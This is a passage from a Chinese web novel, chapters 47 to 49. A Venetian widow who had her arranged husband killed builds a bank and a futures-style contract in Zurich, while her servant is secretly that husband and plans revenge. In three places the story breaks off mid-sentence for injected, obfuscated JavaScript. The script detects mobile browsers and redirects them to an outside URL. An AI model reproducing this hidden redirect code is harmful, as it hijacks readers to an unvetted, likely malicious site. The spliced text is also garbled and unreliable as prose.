不知道如果那位海因里希还在世的话,是否会与叔父赫尔穆特争夺家产和地位呢?莉莉斯猜想道。由于是家族安排的婚姻,她对这位被自己杀死的丈夫一无所知。据传闻他是一名相貌出众、仪表堂堂的绅士,但谁又知道真相会是什么样呢?克纳罗家族的人在为她说媒时,还夸赞过她是一位温柔贤惠的意大利淑女呢。 “赫尔穆特先生十分关心体谅您的处境,因此在生意之外,还特意为您准备了一份表达心意的礼物,是您丈夫海因里希一年前在法兰克福绘制的肖像画。只不过咱们那儿没有意大利这么多优秀的画家,还请您见谅啊。” “先生真是太有心了,我感激不尽啊。”莉莉斯满脸堆笑地回应着。他认为赫尔穆特此举,估计是不希望自己在丧期满后立刻嫁去别家吧。大多数像莉莉斯这个年纪的少女,是决计不愿意守寡度过一生的。可莉莉斯并没有这种想法。挂名在千里之外的施密德尔家对她来说方便又自由,正是她自己谋划来的结果。 不过话说回来,她倒蛮想看看自己这位素未谋面的未婚夫长什么样的。她在帕斯卡的带领下来到一间会客厅里,椅子上正立着一个半人高的画框,用白布遮着画面。莉莉斯走上前去跃跃欲试地掀开,结果被画面吓了一大跳: 扭曲的人体比例,七扭八歪的四肢,脏兮兮的配色,还有潦草到宛如简笔画的五官,组合在一起只能勉强看出来一个人形。莉莉斯倒吸一口冷气,一时间甚至分辨不出来是画家画得太糟糕,还是那位海因里希原本就长得这么奇形怪状。 还好当初把他杀了。就算不谈事业方面的考量,哪怕是一个励志成为贤妻良母的女人,面对这样一幅丑陋的面孔估计也会为自己的余生感到十分悲哀吧。莉莉斯暗自庆幸着,相比之下,还是自己买回来的海因里希更好看。单单是站在那里就让人赏心悦目的,像一个等身大小的成男版金发洋娃娃。而这幅画像……也许比较适合放在闹鬼的屋子里,或许能够用来驱邪吧。 “这可真是,太感谢了啊。”莉莉斯挤出一个尴尬的笑容,把帘子盖了回去,眼不见心为净,“时候不早了,我们还是来谈谈开立分行的事情吧。 “当然了。咱们施密德尔家还得多多仰仗克纳罗家族的照顾才行。只不过……毫无冒犯的意思,单纯出于好奇,我想请教请教您,像您这样含着金汤匙出生的威尼斯贵族小姐,为什么要不辞辛苦地去涉足金融业的工作呢?” 47.未来的合约 莉莉斯结束一天的工作回到酒店时已经是深夜了。她先回到自己的房间洗澡洗漱,然后换上了睡裙一路下楼来到海因里希的房门前。 她迫不及待地想和他分享今天发生的事,可是她敲了敲门,又再三呼唤海因里希的名字,过去了许久都没有回应。 或许只是睡着了吧…?她有些担心。尽管她很想确认一下海因里希的身体状况,但她不得不说服自己,病人最需要的就是好好消息。特别是在无法确认这种疾病是否会传染的情况下,她不应该见他。 莉莉斯只好独自回到自己的卧室瘫倒在床上,呆呆地望着天花板,心里有些空落落的。 短暂地休息过后,她立刻爬起来坐在书桌前,从皮质的公文包里翻出纸笔和墨水,在笔记本上开始奋笔疾书地记录起来。以往这些会议纪要的工作都是海因里希或者塞西莉娅来做的。眼下他们都不在,莉莉斯只能自己动手。 她回忆起和帕斯卡的谈话中那些最重要的内容。他们初步确定了即将开展的合作将围绕两个方面进行。 首先,施密德尔家决定小量入股克纳罗银行在苏黎世开设的分行,辅助埃莱娜指定的银行代理人进行日常运作。 其次,也是帕斯卡明显更加在意的内容,是希望莉莉斯能够为施密德尔家在威尼斯提供钢铁销售业务。 帕斯卡喋喋不休地向她讲述了许多德语地区钢铁市场中鸡毛蒜皮的事。当中最有用的信息,应该就是关于富格尔家族的崛起。 莉莉斯在威尼斯时曾经听说过这个家族,据说他们为了涉足金融业,专门将孩子送到威尼斯学习会计知识。可是,意大利的金融命脉始终被本土商人所把控着,莉莉斯此前对这件事并未上过心。据说,富格尔家族通过德意志-意大利的钢铁贸易路线抢占了大量市场份额,导致其他的竞争对手感到了很大的压力。 莉莉斯并没有就钢铁销售的合作给出帕斯卡明确的答复。她现在对实业并不太感兴趣。眼下她最紧要的工作还是尽快沿着商路建立完善的金融服务网络。但是,如果莉莉斯在分行建设上收了对方的好处,却不帮人家落实他们想要落实的内容,总归是有些不厚道的。 莉莉斯思索着,握着笔漫无目的地在纸上画圈。也许可以设计出一种新的产品合约,先收取一定程度的保证金,然后再规定买方与卖方于未来某时间交货付款。 像施密德尔家主营的武器与钢铁产品,从采矿到冶炼的周期较长。先签约后交货的模式可以尽可能减少运输与仓储的成本。莉莉斯可以在威尼斯帮助他们签订单,签完之后再开始生产,并在约定时间运输交货。 但是,这样的订金-尾款模式对卖方较为不利。如果买方想要违约的话,卖方就要承担大量的亏损。即使有法律手段可以维权,也要耗费许多精力和时间,得不偿失。 莉莉斯一边思考着,一边从钱袋子里掏出一枚今天刚兑换出来的,干净崭新的古尔登金币放在手里把玩。这是一种神圣罗马帝国发行的货币,在苏黎世广泛通用,上面刻印着举着十字架的圣徒,在烛火下闪着耀眼的金光,若不仔细看,长得和杜卡特金币其实很相似。 虽然杜卡特在这里用不了,得换成古尔登做交易;但若到了威尼斯,同样的两种货币间的汇率却会有细微的差别。毕竟,是金子总会发光的。在一些人眼里无用的东西,换到另一些人手中就能发挥它的价值。这也是为什么交易与市场会应运而生。 莉莉斯盯着那金光闪闪的金币看,突然蹦出了一个新点子。 要是她所设想的那种关于未来交货的合约可以像货币与商品一样在市场上进行交易流通就好了。这样的话,卖方与买方的权益都可以获得更好的保障,也能够让市场供需关系的力量来自动定价。 想到这里,莉莉斯兴奋地在笔记本上翻开新的一页,开始奋笔疾书地把自己的想法记录了下来,并尝试做一些简单的演算来考虑这种合约产品的可行性。克纳罗银行在交易中可以提供咨询与做市的业务,同时还可以附带上银行主营的汇兑服务…… 莉莉斯兴奋地畅想着,一边想一边把之后需要做的所有计算全部列出了一张清单,打算拿给海因里希让给他来算。不过在此之前,她要给这种新的金融产品起一个名字——既然是一种关于未来交易的合约,不如就叫做未来和约好了。 莉莉斯激动地拿着一叠草稿纸跑去海因里希的房间想要和他分享这个好消息。不知道他现在醒来了没有?她再次敲响海因里希的房门。 “海因里希?” 刚刚回到房间的海因里希听见了敲门声。他赶紧把那枚面具脱下来藏进了房间的床底,猛猛咳了几下,走到门前。 “夫人。”海因里希用虚弱的声音回应她的呼唤。 “你睡醒了吗?感觉怎么样?吃过东西了吗?” “我已经吃过了。谢谢您的关心,我感觉好一点了。”海因里希思考着,为了避免和施密德尔家的人见面被认出来,最保险的做法就是干脆从头装病翘班到尾。等莉莉斯准备启程回去了再“康复”。 可要是这么做的话,就要让莉莉斯一个女孩子在陌生的城市里四处奔波,总有些不太安全。他正纠结着接下来该怎么办,莉莉斯便隔着门板自顾自地继续说了下去。 “我也吃过了。我今天晚上吃了炒牛肝搭配瑞士特色的煎土豆饼。土豆丝被切得很细,混着芝士一起做成圆形的大饼,居然还挺好吃的。不过奶酪火锅我也尝了一下。虽然我很喜欢奶味的料理,却还是觉得有些太腻了,不是特别喜欢。你吃了什么?” “我让酒店的人给我拿了一些牛奶和面包。” “你得吃得健康一点,病才能快一些好。不然都是我一个人工作,我都快要累死了。我今天下午去见了施密德尔家的代理人帕斯卡,晚上又去与埃莱娜姑姑的代理人汉娜共进晚餐。我还以为德国人说话能直来直往一点呢,可那帕斯卡竟也是个不好对付的老狐狸。还在开始谈判前问了我一个十分冒犯的问题。” “什么问题?” “他问我说像我这样的贵族小姐,明明可以什么都不做就拥有一切,为什么还要那么努力工作。这些出生就能享受继承权的男人,他们根本不知道我为了得到现在的一切付出了多大的心血。”莉莉斯忿忿不平地抱怨道,“更何况,结婚到现在,施密德尔家有考虑过我这个遗孀这么吃饭怎么生活吗?一分钱的赡养费用也没有,跟我谈生意的时候还给我布置了好大一个难题呢。” “辛苦您了。”海因里希情不自禁地感到有些心疼,还是忍不住主动做出了让步,“虽然……我还没完全好,应该出不了门,但如果我有什么能帮到您的话……” “海因里希,我想看看你。” “我……现在蓬头垢面的,很难看。”其实是因为刚出门回来,还穿着出门的衣服,头发也板板正正地梳在脑后。他赶紧把外套脱了,头发揉乱,假装成刚睡醒的样子。 “不,海因里希,你一点也不难看,你很好看,非常好看,至少比我的丈夫好看多了……” “……您的丈夫?” “对,帕斯卡给我看了我丈夫的画像。实在是太丑了!你应该也来看看那幅画。唉……被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184799|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指婚给这么一个其貌不扬的男人,我可真是个可悲的女人啊…!” 海因里希一下子便猜到他们拿了他的哪张画像去给莉莉斯看。德国没有意大利那么多优秀的画师,画布与颜料的价格也极其昂贵。其实在他收到莉莉斯的肖像画,见识到意大利的艺术已经发展到了多么令人叹为观止的地步之前,他一直都对自己成年后绘制的唯一一张画像颇为满意。 “海因里希,让我看看你嘛。看一看又不会传染的。” 海因里希实在拗不过她,只好把头发再抓乱一点,打开门。 莉莉斯抬起头,看见海因里希凌乱的金发下那张漂亮的脸蛋,他眉毛上的伤疤,还有藏在深邃眼窝里的那双晶莹剔透的蓝眼睛,真好看啊,和她印象里的一样好看,她不由自主地笑了。 “你气色还不错嘛,海因里希,你不会是故意装病翘班吧?”她顺手把写着待办事项的文件递给他,“这是你的工作,过会儿看看,有不懂的地方问我。” “我怎么可能装病呢?咳咳咳咳咳……”海因里希赶紧装出一阵急促的咳嗽,“我只是吃了您给我的药睡了一觉,感觉好些了。本来也只不过是寻常的感冒,我主要是害怕传染给您。” “我不怕。我很健康,而且比你想象得更强壮。”莉莉斯见海因里希病得不严重,便愈发肆无忌惮起来。她趁海因里希看文件的时候不注意,突然坏笑着扑进他的怀里搂住他的脖颈。海因里希被吓了一跳,却还是条件反射地抱住了她。 “我的海因里希,你怎么那么好看呀?”莉莉斯坐在海因里希的臂弯里,笑盈盈地玩弄他额上的碎发,“而且我很喜欢你眉骨上这道伤疤。就像是……芝士上的孔,让人觉得这块芝士很好吃,很诱人。” “咳咳咳咳……” 海因里希的脸红得像是刚熟的苹果。面对莉莉斯明目张胆的撩拨和她靠在自己怀里的温度,他根本没有办法保持冷静,满心满眼都只有莉莉斯红发下那双散发着魔力的绿眼。 每当这种时候,他就开始分不清自己到底是谁。面具下的他与面具上的他之间的界限在哪里。明明戴着黑色面具的人才应该是真正的海因里希·施密德尔才对,那这个表面上没有戴面具,却比戴了面具更加虚伪、更加阴险的男人又是谁? 他明明抱着自己最心爱的女人,真情实感地享受和她亲密的时间,他的另外一重身份却在告诉他,你的目的是复仇,你的行动已经开始了,便没有结束的可能。你早就不能回头了。你发过誓要让她承受你因她而所遭受过的一切。 “你还记得这道疤是怎么来的吗?”对面前人复杂心理活动毫不知情的莉莉斯伸出手,轻轻抚过海因里希的眉毛。她的另一只手轻轻推了一下海因里希的肩膀,让他抱着自己坐在床上。 “是我当初成为奴隶的时候……被人划的。” 海因里希刚说完,立刻意识到自己说错话了。他上次编撰的人生经历里,他是从小便沦为了奴隶才对。但是,他在与莉莉斯初次见面的时候,那道伤疤都还没有愈合。 “可怜的孩子……”莉莉斯小心翼翼地戳了戳已经长好的伤口,“还会疼吗?” “早就不会了。”海因里希移开眼神,不敢直视莉莉斯的眼睛,“那是……都已经过去的事了。” “海因里希,”莉莉斯轻声呼唤着他的名字,用敏锐的目光观察着海因里希的表情,一瞬间她的笑容突然凝固,冷冷地问道: “你有事情瞒着我,对不对?你其实根本没有生病。告诉我,你在瞒着我些什么?你不是答应过我再也不会对我有所隐瞒了吗?” 48.撕裂的自我认知 海因里希愣住了。他紧紧皱着眉头看向莉莉斯,不知道为什么有些想哭。 是啊,他当然有事情瞒着她。可是他明明答应过他不会再对她有所隐瞒的。他又一次说了谎话。而现在,一个谎话就得用成千上百个新的谎话来圆。它们混乱地堆积在一起,总会有被戳破的一天。 “夫人……”海因里希沉痛地低下头,把莉莉斯放在床沿上,诚恳地跪在她面前,“我实在不想瞒着您。其实是因为,我过去的主人家……也在苏黎世。我实在不想再次见到他们,也不想让他们看到我和您在一起……我……实在不愿意面对那些事。” “那你为什么不一开始就对我说实话呢?”莉莉斯挑眉。 “我并没有骗您。”其实就是骗了。“我今天早上起来的时候确实不舒服。但不是感冒,而是想到从前受过的屈辱而头晕脑胀。这是我自己没处理好的事,本不应该麻烦您的,您将我从那样的境地中拯救出来……已经对我很好很好了。” 是啊。莉莉斯她杀伐果决,不愿意放过任何一个对她产生威胁的敌人。可未婚夫海因里希是敌人,她的仆人海因里希是伙伴。她对陌生的丈夫心狠手辣,可她从来也没有伤害过她所熟识的,作为伙伴的海因里希。 “原来是这样。”莉莉斯郑重地握住他不断颤抖的双手,“海因里希,你别担心。我也有过糟糕的过往,我知道那些痛苦的回忆带来的伤痛很难抹去。但是我会帮你的。你现在是我的手下,我不会允许有人再欺负你,伤害你。别害怕。” “夫人……” “你如果实在不想出门,就不出门好了。反正本来也是我负责谈判。你跟在我旁边也只能站着,又说不上话,还不如就待在这里完成工作来的更高效快捷。哝,大量的计算等着你做呢。你最擅长计算了。”莉莉斯瞥了一眼海因里希之前接过去的文件,“明早之前要给我啊。” “等等……明早?” “你不是都旷工在房间里睡了一天了吗?夜里估计也睡不着吧。”莉莉斯翻了个身,趴在海因里希的被子上勾起一抹恶趣味的笑容,“而我可是在外面忙了一整天呢。海因里希,我对你那么好,你也得心疼心疼我吧。我来给你讲讲我新设计出来的好东西吧,是一种可交易式的金融合约……” 等莉莉斯说完之后没过多久,她就累倒在了海因里希的床上睡着了。海因里希坐在她旁边的书桌前挑灯夜战,算得头疼欲裂。虽然都是一些简单的计算,但是量实在太多了。他其实也在外面奔波了一天根本没有休息,此时感觉整个人都像被抽干了似的疲劳。 他越算越觉得,这家伙真的是个天才。从最开始通过首饰来进行灰色放贷交易,到现在成立银行,将事业一点点做大做强。她出类拔萃的聪明才智让人时不时会忽略她其实只是一个十八岁的小女孩,一个非常美丽,像洋娃娃一般精致漂亮的小女孩。而这样美丽又聪明的洋娃娃,曾经是海因里希的未婚妻。 他歪过头看向睡得四仰八叉的莉莉斯,叹了口气,轻轻把她抱起来在床上摆正,又为她掖好被角。他听到莉莉斯的嘴里正在迷迷糊糊地说着些什么。他凑近过去一听,恍惚间听到她在呼唤自己的名字。 “海因里希……” 是又梦到了未婚夫吗?海因里希有些好奇作为丈夫的自己在莉莉斯的想象中究竟是一个什么样又丑又吓人的形象。但是,莉莉斯的表情很平和,并不像是正在做噩梦。难道是梦到我了吗?他悄悄地再次凑在莉莉斯的脸旁边,屏住呼吸不敢让她察觉。 “喜欢你……” 她是在说……喜欢我吗? 海因里希感到心脏漏了一拍,怔怔地愣在原地,难以置信地看着面前这个正在睡梦中露出笑意的小女孩。恍惚间他以为自己炙热浓烈的爱意得到了回应。 “小狗……很可爱……”莉莉斯笑着继续咕哝道,对海因里希心中翻涌的情绪全然不知,抱着被子翻过身。 海因里希恍然大悟。莉莉斯把他当作自己的狗,莉莉斯口中的喜欢,其实也只是主人对狗的那种喜欢而已。 她喜欢的只是一个听话的,能干的,好看的奴隶,不是真正的海因里希。至于真正的海因里希到底是什么样的,连他自己都已经搞不清了。 他对莉莉斯的感情太复杂了,复杂到爱与恨的两极总在交缠着折磨他,刺痛他,几乎要将他的灵魂撕裂。 复仇的意志始终在他的脑海中回想着。他永远也无法忘记。在原本既定的安排中,他会拥有她,掌控她,支配她,成为她一生的依靠。他们会一起在德国生活,有一个或者好几个可爱的孩子,会组建一个幸福的家庭——可这一切都被莉莉斯打破了。 所以他认为自己应该恨她,不应该沉沦进爱的陷阱,因为爱会使自我意志丧失。莉莉斯不是一直如此认为吗? “不要让感情影响到你对事业的追求”,她就是这么教导海因里希的,却又与此同时不断撩拨他,玩弄他,用各种看似神经大条的肢体接触与他拉进距离,像喜欢一个玩具似的喜欢他,不愿意给他施舍一点爱。 所以海因里希想要复仇,想要让莉莉斯像奴隶一样任他摆布,想要彻底拥有她,让她成为他的妻子,让她承受他肮脏而下流的欲望,把她彻底变成自己的东西。可也正因为爱意,他想要守护她,尊重她,想要她快乐,不愿去做任何会令她难过的事。 但这没有办法,这是必须作出的牺牲。他不可能一辈子扮演莉莉斯的狗。总有一天他要夺回家业,让生活回归正轨,作为莉莉斯奴隶的海因里希会被永远带进坟墓,而海因里希·施密德尔将会重生。他想要以丈夫的身份回到莉莉斯身边,那就不得不违背莉莉斯的意愿——但这与莉莉斯对他、对他的父亲与亲信赶尽杀绝的恶行相比又算得了什么?她曾经想要他死,而他只是想要和她结婚。 他相信自己会成为一个好丈夫,只不过妻子必须得是莉莉斯才行。他知道莉莉斯最喜欢普洛赛克酿造的白葡萄酒,知道知道她最喜欢玫瑰花味的香水,还知道她除了黑裙子以外,衣柜里还藏满了红色和白色的衣裙。他会为她做无数条华丽的新裙子,会为她定制最闪耀的宝石,会尽全力提供她想要的一切。最关键的是,他会支持莉莉斯的事业。他愿意为了她留在威尼斯。 只有这样做他们才能永远在一起。因为莉莉斯现在对他的喜欢是不稳定的,是随时可以收回的,是可能会在发现他的真实身份后立刻就化作泡影的。但海因里希不一样。 尽管复仇的意志与守护的意志将他撕裂,彼此抗衡,使他痛苦不堪,但唯独在一点上,两个互相冲突的人格达成了一致——他对莉莉斯的爱恨与占有欲已经深到刻进了他的灵魂里,是这辈子都无法治好的病。没有莉莉斯就不行,无论如何,他必须要莉莉斯留在他的身边。 第二天一早,工作了一夜,计算到脑力枯竭的海因里希在地板上醒来,发现莉莉斯正盖着被子趴在他的胸口打哈欠。 “夫人……?” “早安,海因里希。由于这里只有一床被子,我怕你冷所以特意跑下来和你一起睡,我是不是对你很好?”莉莉斯笑着揉了揉眼睛,“怎么样,都算完了吗?今天有新的工作要交给你。” “还有……?” “那当然了。我也要出门继续工作。今天得继续和埃莱娜姑姑的代理人对接。虽然我相信她挑选的人,可是也有很多工作细节上需要对齐。”莉莉斯撑着海因里希的肩膀爬起来,走到书桌前翻阅检查那些计算过程和结果。海因里希的字迹非常工整,方便莉莉斯能够跟着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197024|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思路再算一遍以保证准确性。 海因里希眼睁睁地看着莉莉斯一起来也没洗漱也没梳头便立刻进入了工作状态,饶有兴致地拿起笔批阅海因里希的工作成果。她是真的很爱她的工作了。海因里希只好从包里拿出来备用的梳子,帮莉莉斯梳理睡得乱七八糟的头发,然后又出门去跟服务人员点莉莉斯喜欢的奶油鸡蛋煎面包作为早餐。 用完早餐后两人便按照昨天商量好的分工继续工作。莉莉斯梳妆打扮后独自出门,海因里希背地里的另一份工作也需要跟进。他透过窗子目送着莉莉斯走远了以后,从床底下找到自己收进去的面具,重新戴上,从另一扇门离开了酒店。 为了不被莉莉斯发现,他特意提早了下午回酒店的时间。没想到刚回来不久,还没做完莉莉斯布置的任务,他便收到了莉莉斯差人递来的消息,邀请他傍晚七点在利马特河边的广场上见面。随信送来的还有一把装饰着蕾丝的黑伞。海因里希猜测这是莉莉斯为了帮助他隐藏身份送来的道具,便一起收下了。 既然晚上又多了新的安排,海因里希只好加倍努力工作,终于在教堂钟声敲响之际来到了立马特河边。傍晚的深蓝色的天空里有一抹亮眼的红,波光粼粼的河面上映照着城市里橘色的烛火。一身黑裙的莉莉斯正坐在河边的石阶上,手里拿着半块干面包捏碎了喂给一群聚在旁边的白天鹅。 “你猜猜我在想什么?”莉莉斯知道是海因里希来了,头也不回,继续专心致志地观察着天鹅。 “您或许在想着如何烹饪这些鹅肉吧。”海因里希笑着坐在莉莉斯的身边,他对莉莉斯的这些小心思最清楚不过了。清爽的晚风拂过他的脸颊,很是惬意。 “伊索尔德告诉我,在阿尔萨斯地区有一种养殖鹅的方式,是会强行往鹅的食管里喂大量食物,让它们长得很胖很肥,据说这种鹅的鹅肝肥厚美味,真想尝尝看。”莉莉斯边说边咽了咽口水。 “所以您才给这些鹅喂那么多碎面包吗?”海因里希歪过头,才看见莉莉斯身侧还放着一大袋面包,“看来我说对了。” “其实我是在想,美食与投资有很多相似之处。”莉莉斯被猜中了心中所想有些不悦,于是开始一本正经地胡说八道起来,“做饭最重要的是什么?就是食材与火候。食材就像投资标的,而火候就像买入和卖出的时机,都得讲究一个恰到好处。太早出锅还没熟,太晚出锅不是烧焦了,便是肉质太干太柴。不过有的食材就适合小火慢炖,做长线;有的呢就得猛火爆炒,做短线……对了,海因里希,你喜欢吃什么?” “我……”海因里希仔细想了想。他对食物并不怎么上心,似乎吃什么都差不多,没有什么特别喜欢的食物。硬要说的话,有一种东西确实是很久没有吃到过了,倒确实有点想念。于是他决定说出来逗她玩。 “您听说过猪肉刺猬吗?” “刺猬?这也能吃?听起来没什么肉。” “不是刺猬,是做成刺猬造型的调味生猪肉泥,把白洋葱碎插在一坨圆圆的肉泥里,做成刺猬的形态,很好吃。”海因里希一边板着脸认真解释,一边饶有兴趣地看着莉莉斯的眉头越拧越紧。 “……是因为奴隶没有条件生火烧饭,所以只能吃生的吗?” “当然不是。生猪肉需要用当天宰杀的猪来做,属于非常依赖食材新鲜度的高级菜肴,就算是贵族也不会每天都吃,只有逢年过节,庆祝活动的时候才有机会吃到。” “……还好我没有嫁到德国去。”莉莉斯的脸被吓得煞白,停顿了半晌,她才再次开口,“但如果你实在想吃的话……等我们回威尼斯之后,我让塔塔去问问看日耳曼人集市里有没有人知道怎么做,就当是庆祝我们平安归来吧……对了,说到庆祝,你的生日是在什么时候?” 49.不体面的营销手段 海因里希愣住了。趁着真实生日脱口而出之前他赶紧悬崖勒马。他突然意识到他自己以前从来未曾过问手下奴隶的出生日期。庆祝生日这样的事一直以来都是有身份的人才有的特权。 “我也不知道。”海因里希扯谎道。 “好吧。塞西莉娅她们倒是一直还能记得。塞西莉娅的生日是在九月,伊万卡是一月,塔塔是在六月,很快就到了,说不定我们回去能赶上给她过生日呢。这样看来,你也得有个生日才行。”莉莉斯琢磨着。 “那就把您买我回来的那一天当作我的生日好不好?” “不行。那是另外的日子,要分开来庆祝才行。让我想想,那位海因里希·施密德尔的生日是几号?好像是七月三十一日,也就是七月的最后一天。嗯,不管了,之后就按照这个日期来给你庆祝生日好了。” “给我庆祝?” “是啊。塞西莉娅她们也有这个福利。去年我送了塞西莉娅一套造价不菲的东方织锦礼服,据说是来自她家乡的服饰,非常美。我还送给过塔塔一枚镀金的罗盘,送给伊万卡了一把柄上镶嵌着波兰琥珀的佩刀。你也会有礼物的,我已经想好要送给你什么了。而且,你的生日在七月,正好每年七月,威尼斯市政府都会在圣马可广场上燃放烟花庆祝。就是不知道今年是什么日子……说不定在你生日的近几天还能看见烟花呢。” “烟花是什么?”海因里希听到了一个陌生的名词。 “就是由火药制作的,在天空中绽放的花朵。每年节日庆典的烟花都是由威尼斯最富有的贵族和他们名下的企业所赞助的。不知道我们克纳罗银行以后是否有可能赚到那么多的钱……等我们有钱了,我就以你的名义来捐献烟花作为礼物。让我来看看我们下个季度的预计收支明细吧……” 莉莉斯说着,自顾自地从海因里希的包里把里面的文件翻出来。新的计算结果新鲜出炉。莉莉斯看着上面的数字,双手无法控制地发抖。 “这是在现有的客户的基础上,建立起这条汇兑线路之后所能产生的业绩预估,不包含未来合约之类的附加业务,所以说……”海因里希解释道。 “我知道。”莉莉斯打断了他,不敢相信自己的眼睛,目光随着海因里希的字迹把计算过程完整扫了一遍,仍旧感到难以置信。 因为亏得实在太多了,比她原本预期得还要多。 房租、工资、安保,各项费用层出不穷,利润却连影子也看不着。别说买礼物,再这样亏下去,莉莉斯连首饰都得开始变卖才能填上窟窿。 “看来我得卖了你抵债了。你说,伊索尔德还愿意收了你吗?” “我恐怕她瞧不上我这个二手货了。”海因里希耸肩。 莉莉斯深呼吸,长叹一口气,迫使自己冷静下来:“最主要的原因还是客户不足。我们现在最大头的客户都只是储蓄,没有信贷和汇兑需求。想要支撑这条现金的河流能健康地流动起来,创造价值,我们必须要有很多,很多新客户,得让汇兑进行起来,得把现金贷款出去。” “没错。但是新客户要从哪里来呢?” 海因里希第一反应想到了他上次来到苏黎世时代替父亲为家族打点的一些关系。施密德尔家的货物沿着美茵河与莱茵河由北向南最终去往意大利,便是要在苏黎世中转,由水路转为陆路的。可是那些关系现在由赫尔穆特指派的帕斯卡代管,海因里希不便暴露自己的身份,想要为莉莉斯牵线搭桥也十分困难。 “几个路径。”莉莉斯分析道,“首先,埃莱娜姑姑愿意入股的前提,就是在这条商路上她有很多熟悉的朋友和贸易伙伴。我们得把那些人搞定,成为我们的核心客户。施密德尔家虽然入股很小,但也是一样的,我们要吸收他们已经在合作的伙伴。明天我得去问他们要一张详尽的名单。” “万一他们不愿意给怎么办?”海因里希比较质疑帕斯卡的慷慨程度。 “那就你去偷呗,还能怎么办。”莉莉斯白了他一眼,“不过,靠着他们虽然能解燃眉之急,却也只是隔靴搔痒,还是无法快速起量。既然我们现在在苏黎世,就绝对不能浪费这个在新分行招揽新客户的机会……” “怎么招募?” “时间紧迫……只能用一些不体面的手段了。管他的,能赚到钱就行。” “看来您已经有对策了。您打算怎么做?” “像我这样的小女孩,即使去商会或者酒馆里向他们苦口婆心地宣传我们的业务,大多数情况下也只会被当作是无稽之谈吧。而你又不愿意出门,也指望不上。”莉莉斯苦笑道,“既然不能用说,那就用写吧。” “您是指写信吗?” “算是吧,不完全一样,可以理解成是没有信封也没有确定收件人的信纸。我需要一个非常抓人眼球的标题,能够让人第一眼就注意到并且想要继续读下去,而不是被当作垃圾广告丢进废纸篓里。” 莉莉斯从海因里希的包里掏出草稿纸和一支铅笔,边说着边奋笔疾书了起来。海因里希提起煤油灯照在莉莉斯的手边,凑过来一看,发现莉莉斯写的是: 贵族丈夫死后我开银行一夜暴富。 震惊!她年入百万的真相竟然是……! 来苏黎世后,靠汇兑交易成神。 “您确定施密德尔家会允许您用这种手段宣传吗……?” “管他呢?他们能帮我赚到钱吗?”莉莉斯一边说着一边又写了一条,“回去之后,你来帮我把这些文案全部翻译成德语——我相信你的水平,必须翻得口语化,贴合本土表达。” “这个没问题。” “第一页写炸裂的标题,第二页放上我们银行的业务介绍。今晚回去我们一起敲定终稿,明天我就让新成立分行的伙计们来帮我们抄。反正他们闲着也是闲着,工资还得照付,不如给他们找点事情做。他们都是埃莱娜选出来的人,应该是信得过的。哦对,我还得叫他们去搜集一点时下热门的商业资讯附在底页,还是得稍微旁敲侧击地宣传一下咱们银行的专业度。最重要的,是要附上咱们银行的地址,但切忌敲章。” “为什么?” “当然是为了在出事情的时候找人背黑锅了。我可绝不会承认我参与了这种不体面的勾当。要是出了任何差错,责任肯定是让你这个法人代表来背的。不过你放心好了,就算你被抓,我也一定会找关系给你安排条件最好的牢房。”莉莉斯郑重其事地拍了拍海因里希的肩膀。 “……您要抛下我吗?”海因里希低下头睁大眼睛,试探性地故意用略带撒娇的语气问道,好奇莉莉斯会是什么反应。他看见莉莉斯的脸颊微微泛红,果然,她很享受这种被依赖的感觉。 “当然不是了……海因里希。”莉莉斯伸出双手捧住他的脸蛋,“我是开玩笑的,我当然舍不得你啦,像你这样又好看又能干的奴隶,是非常可遇不可求的。所以我才会那么提携你,你可不要忘记我对你的恩情。” “我会永远铭记于心。”海因里希轻轻握住莉莉斯的手腕,在她的手背上留下一个吻,“时候不早了,我送您回去吧。” “回去之后,把我房间的行李全部收拾起来。”莉莉斯把自己刚写完的初稿和铅笔一并塞进海因里希的包里,“明早去把我那件豪华套房退了。现在我得省点钱。” “您要搬去施密德尔家的宅邸居住吗?” 海因里希想起那幢漂亮的别墅。当时为了把未婚妻从威尼斯迎到德国去,他特意把施密德尔家位于苏黎世的住宅也打点了一番,在莉莉斯与他会停留歇脚的卧室里专门为她定制了镶满蕾丝花边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205146|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗帘、桌布与床品,还安排人要在他们抵达前准备新鲜的花朵装饰才行。 虽然根据他现在对莉莉斯的了解,她如果真的看到了那些陈设,大概率会毫不留情地奚落一通未婚夫的审美品味,批评他挑选的装饰俗不可耐,再庆幸一番自己还好没有嫁到德国去。可那毕竟是他花过心思的,还是很想能有机会给礼物的主人看一看。 “我不想去。其实,帕斯卡特意带我参观了一下我丈夫给我布置的房间。”莉莉斯随口说道,没想到海因里希竟有些激动地打断了她。 “您感觉怎么样?” 